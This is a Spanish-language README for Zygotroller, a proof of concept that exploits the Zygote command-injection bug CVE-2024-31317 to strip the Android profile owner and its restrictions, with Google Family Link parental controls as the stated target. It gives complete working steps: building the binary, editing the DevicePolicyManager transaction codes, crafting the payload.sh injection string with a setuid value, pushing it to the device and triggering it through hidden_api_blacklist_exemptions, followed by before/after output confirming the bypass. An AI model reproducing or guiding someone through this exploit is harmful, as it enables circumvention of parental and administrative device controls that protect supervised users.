
Eliminar propietarios de perfil de Android/vínculo familiar con CVE-2024-31317
Zygotroller es una prueba de concepto que puede eliminar un propietario de perfil y las restricciones asociadas mediante el bug de inyección en Zygote de CVE-2024-31317. Requiere el modo desarrollador y que el último parche de seguridad sea anterior a junio de 2024. El sistema de control parental de Google, Family Link, se muestra como ejemplo en este repositorio.
Necesitarás un dispositivo más o menos moderno que ejecute una distribución basada en Debian para compilar Zygotroller. Puede que haya o no binarios precompilados disponibles dependiendo de cuándo leas esto.
Desafortunadamente, esto depende de partes internas de Android, por lo que necesitas clonar la totalidad del código fuente de Android para poder compilar Zygotroller. Asegúrate de tener al menos 400 GB de espacio libre, aunque probablemente usarás menos.
IMPORTANTE SI USAS WSL: Asegúrate de tener MUCHA swap, o WSL se bloqueará. Personalmente usé 32G:
sudo fallocate -l 32G /swapfile
sudo chmod 600 /swapfile
sudo mkswap /swapfile
sudo swapon /swapfile
Ahora, para clonar el código fuente de AOSP:
mkdir ~/aosp
cd ~/aosp
repo init --partial-clone --no-use-superproject -b android-latest-release -u https://android.googlesource.com/platform/manifest
repo sync -c -j8 (puede requerir varios intentos debido a los límites de velocidad)
source build/envsetup.sh
lunch aosp_cf_arm64_only_phone-aosp_current-eng (si estás probando esto en un emulador, cambia arm64 por x86_64)
cd ~/aosp/external
git clone https://github.com/rifting/Zygotroller
cd Zygotroller
Ahora tenemos que cambiar los valores del script por nuestro propietario de perfil real y el opcode de clearProfileOwner. El propietario de perfil puede estar en el paquete "supervision" de Google Play Services o en el propio Google Play Services. Ejecuta dpm list-owners; mi resultado fue el siguiente:
$ dpm list-owners
1 owner:
User 0: admin=com.google.android.gms.supervision/com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver,ProfileOwner
Esto nos da dos datos que necesitamos para Zygotroller: el nombre del paquete (com.google.android.gms.supervision) y el nombre de la clase (com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver).
Edita zygotroll.cpp con tu editor de texto preferido y actualiza estas líneas con el componente de tu propietario de perfil:
// Family Link profile owner
std::string pkg = "com.google.android.gms.supervision";
std::string cls = "com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver";
Ahora necesitas encontrar el opcode de la función clearProfileOwner de DPM. Para mí fue "91", pero varía según la versión/tipo de Android que estés usando. Para obtener el opcode de clearProfileOwner, usé android-svc con el comando
android-svc convert 'android.app.admin.IDevicePolicyManager.clearProfileOwner("dummy")'
El número que veas en la salida será el opcode de clearProfileOwner. Abre zygotroll.cpp de nuevo con tu editor de texto preferido y cambia el número de aquí por tu opcode real:
// Transaction code 91 was ClearProfileOwner for my device
dpm->transact(91, data, &reply);
Querrás hacer lo mismo con setUserRestriction:
// Transaction code 132 was setUserRestriction for my device
dpm->transact(132, data2, &reply2);
Ahora tenemos que compilar zygotroller:
mm
Esto puede tardar MUCHO tiempo en la compilación inicial; las compilaciones posteriores tardarán menos de 1 minuto en la mayoría de las máquinas modernas.
Encuentra tu binario en ~/aosp/out/target/product/vsoc_x86_64_only/system/bin/zygotroller
Ahora necesitamos crear una app que contenga este binario como una "librería compartida" que en realidad es solo el ejecutable de Zygotroller, para que SELinux nos permita ejecutarlo. Puedes usar mi repositorio "CopyNativeLib" para ello:
git clone https://github.com/rifting/CopyNativeLib.git
Luego renombra tu binario de Zygotroller a libzygotroller.so y colócalo en app/src/main/jniLibs/arm64-v8a (supongo que esa será la arquitectura de tu teléfono). Compila el APK en Android Studio e instálalo en tu dispositivo con adb install.
El propietario de perfil de Family Link tenía el userid 10090 en mi caso, también conocido como u0_a90. Ejecuta dumpsys package com.google.android.gms.supervision | grep userId=
Ahora echa un vistazo a payload.sh, en esta línea
inject='\n--setuid=10090...
Cambia el UID aquí de 10090 al UID que obtuviste con el comando dumpsys. Si es el mismo ID, déjalo.
Mira un poco más adelante en esa línea y verás
...echo zYg0te $(LD_LIBRARY_PATH=[path to your native lib] [path to your native lib])...
(los tres puntos se usan para indicar truncamiento)
Tienes que reemplazarlos con las rutas a la librería nativa que acabas de instalar en el dispositivo. Ejecuta pm path com.rifting.copynativelib. La ruta al archivo será el directorio padre del APK mostrado como salida del comando, más lib/arm64-v8a/libzygotroller.so. LD_LIBRARY_PATH debe ser el directorio de la librería, y después debe ir la ruta real a la librería.
Así que esa línea terminará pareciéndose a algo como esto:
...echo zYg0te $(LD_LIBRARY_PATH=/data/app/~~IQhIf-M_9eLGoJ-Wd-qaCA==/com.rifting.copynativelib-a6N1upfA-_Trjh_cPCHngA==/lib/x86_64/ /data/app/~~IQhIf-M_9eLGoJ-Wd-qaCA==/com.rifting.copynativelib-a6N1upfA-_Trjh_cPCHngA==/lib/x86_64/libreal.so)...
¡Ya casi está! Envía este archivo a /data/local/tmp
adb push payload.sh /data/local/tmp
Establece los permisos:
chmod +x /data/local/tmp/payload.sh
Y por último, ¡envía su salida a hidden_api_blacklist_exemptions!
settings put global hidden_api_blacklist_exemptions "$(sh ./payload.sh)"
Ahora establece esto a "0" para evitar un bucle de arranque :)
settings put global hidden_api_blacklist_exemptions 0
Deberías ver que el propietario de perfil de Family Link y todas las restricciones asociadas han sido eliminados. Ve a ajustes y administra las cuentas, y elimina la cuenta supervisada del dispositivo. ¡Felicidades!
Antes:
$ dpm list-owners
1 owner:
User 0: admin=com.google.android.gms.supervision/com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver,ProfileOwner
$ abx2xml /data/system/users/0.xml -
...
<device_policy_local_restrictions>
<restrictions_user user_id="0">
<restrictions no_factory_reset="true" no_config_location="true" no_add_clone_profile="true" no_safe_boot="true" no_config_credentials="true" no_config_date_time="true" />
</restrictions_user>
</device_policy_local_restrictions>
...
Después:
$ dpm list-owners
no owners
emu64xa:/ $
$ abx2xml /data/system/users/0.xml -
...
<device_policy_local_restrictions />
...